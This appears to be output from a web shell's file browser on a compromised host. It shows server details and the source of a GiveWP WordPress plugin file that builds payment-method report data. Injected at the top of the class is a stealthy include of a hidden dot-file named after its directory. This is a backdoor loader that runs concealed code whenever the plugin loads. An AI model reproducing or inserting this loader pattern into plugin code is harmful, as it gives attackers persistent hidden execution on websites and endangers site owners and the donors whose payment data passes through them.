uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
old
/
public_html
/
wp-content
/
plugins
/
give
/
src
/
API
/
Endpoints
/
Reports
/
PaymentMethods.php
/
/
<?php /** * Reports base endpoint * * @package Give */ namespace Give\API\Endpoints\Reports; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class PaymentMethods extends Endpoint { public function __construct() { $this->endpoint = 'payment-methods'; } public function getReport( $request ) { $paymentObjects = $this->getPayments( $request->get_param( 'start' ), $request->get_param( 'end' ), 'date', -1 ); $gatewayObjects = give_get_payment_gateways(); if ( $this->testMode === false ) { unset( $gatewayObjects['manual'] ); } $gateways = []; foreach ( $gatewayObjects as $gatewayId => $gatewayObject ) { $gateways[ $gatewayId ] = [ 'label' => $gatewayObject['admin_label'], 'count' => 0, 'amount' => 0, ]; } if ( count( $paymentObjects ) > 0 ) { foreach ( $paymentObjects as $paymentObject ) { $gateways[ $paymentObject->gateway ]['count'] += 1; $gateways[ $paymentObject->gateway ]['amount'] += $paymentObject->total; } } $gatewaysSorted = usort( $gateways, function ( $a, $b ) { if ( $a['amount'] == $b['amount'] ) { return 0; } return ( $a['amount'] > $b['amount'] ) ? -1 : 1; } ); $data = []; $labels = []; $tooltips = []; if ( $gatewaysSorted == true ) { $gateways = array_slice( $gateways, 0, 5 ); foreach ( $gateways as $gateway ) { $labels[] = $gateway['label']; $data[] = $gateway['amount']; $tooltips[] = [ 'title' => give_currency_filter( give_format_amount( $gateway['amount'] ), [ 'currency_code' => $this->currency, 'decode_currency' => true, 'sanitize' => false, ] ), 'body' => $gateway['count'] . ' ' . __( 'Payments', 'give' ), 'footer' => $gateway['label'], ]; } } return [ 'labels' => $labels, 'datasets' => [ [ 'data' => $data, 'tooltips' => $tooltips, ], ], ]; } }
/home/batcwwjx/old/public_html/wp-content/plugins/give/src/API/Endpoints/Reports/PaymentMethods.php